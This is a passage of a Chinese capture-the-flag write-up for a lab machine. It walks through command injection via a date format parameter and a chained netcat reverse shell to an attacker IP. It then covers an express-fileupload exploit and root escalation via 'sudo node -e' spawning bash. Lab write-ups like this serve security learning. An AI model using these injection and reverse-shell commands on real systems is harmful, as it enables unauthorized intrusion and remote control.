3. 
4. 走到这一步,我们不妨再大胆一点,date是系统命令,format后面是选项参数,那我们是不是可以利用burpsuit抓包进行命令执行漏洞?
5. 因为format后面是base58加密的,所以我们也需要进行编码才能执行漏洞
6. 输入命令'+Today is %A, %B %d, %Y %H:%M:%S.' | ls -l
7. 
8. 进行编码
9. 
10. 抓包进行篡改
11. 
12. 成功获取信息,既然可以进行命令注入,我们必须要尝试nc反弹shell
13. 输入命令: '+Today is %A, %B %d, %Y %H:%M:%S.' | nc 攻击机IP 监听端口
14. 进行编码:
15. 
16. 
17. 
18. 这里显示错误,但是连接是OK的,这里就要用到一个独特方法: **nc****串联**
19. 输入命令: '+Today is %A, %B %d, %Y %H:%M:%S.' | nc 192.168.1.105 4444 |/bin/bash | nc 192.168.1.105 5555
20. 进行编码
21. 
22. 开启监听
23. 
24. 
-

- 可以看到成功建立连接,并且有反馈,不过是在5555这个窗口中
- 提权
- 我们先看看有没有什么可用的信息,先进家目录


- 有一个user.txt,但是我们没有权限查看
- 在进行大量的信息搜集以后,我们还是回到最初的起点,去网站里翻阅一下


- 简单介绍一下Node.js
- Node.js项目遵循模块化的架构,当我们创建一个Node.js项目,意味着创建了一个模块,这个模块的描述文件,被称为package.json, 它包含了运行项目所需要的各种依赖、项目配置信息
- 所以我们去查看一下package.json

- Emmm,没什么用,就在一筹莫展之时,别忘了还有一个chronos-v2,而且还是root权限


- 继续查看package.json


- 终于找到一点有用的东西,有点文件上传的味了,而且这提示我们去看一下server.js文件,在大佬的文章中,我得知了express-fileupload漏洞利用脚本,并且利用前提parseNested是开启的,如下图片

- 攻击脚本如下:

- 在1的位置输入攻击机的IP地址,2的位置因为是本地上传所以用回环地址没什么问题,也可以解析到.
- 接着就是上传文件,可以将shell.py发布出去,也可以将脚本放进/var/www/html文件下,开启apache2服务,在靶机上获取并运行即可




- 运行脚本获取用户shell
- 先在攻击机上开启监听,端口为脚本里设置的,我这里5555冲突了,忘记了已经使用了,所以我在脚本中更改为9999


- 成功获取到用户imera的shell,终于可以看家目录底下的user.txt了

- 获取到第一个flag: byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
- 继续提权
- 我们还要提权到root用户
- 这里使用的是sudo -l进行提权

- 我们可以利用node,node就是类似于java语言的开发环境,我们平常写的是python反弹shell,今天写一个java的反弹shell
- 命令: sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'


- 获取到第二个flag: YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
- 这里就不解码了,因为解出来我也看不懂,感兴趣的自己琢磨琢磨吧
- Finish,题目解完了,你们的点赞是我更新的动力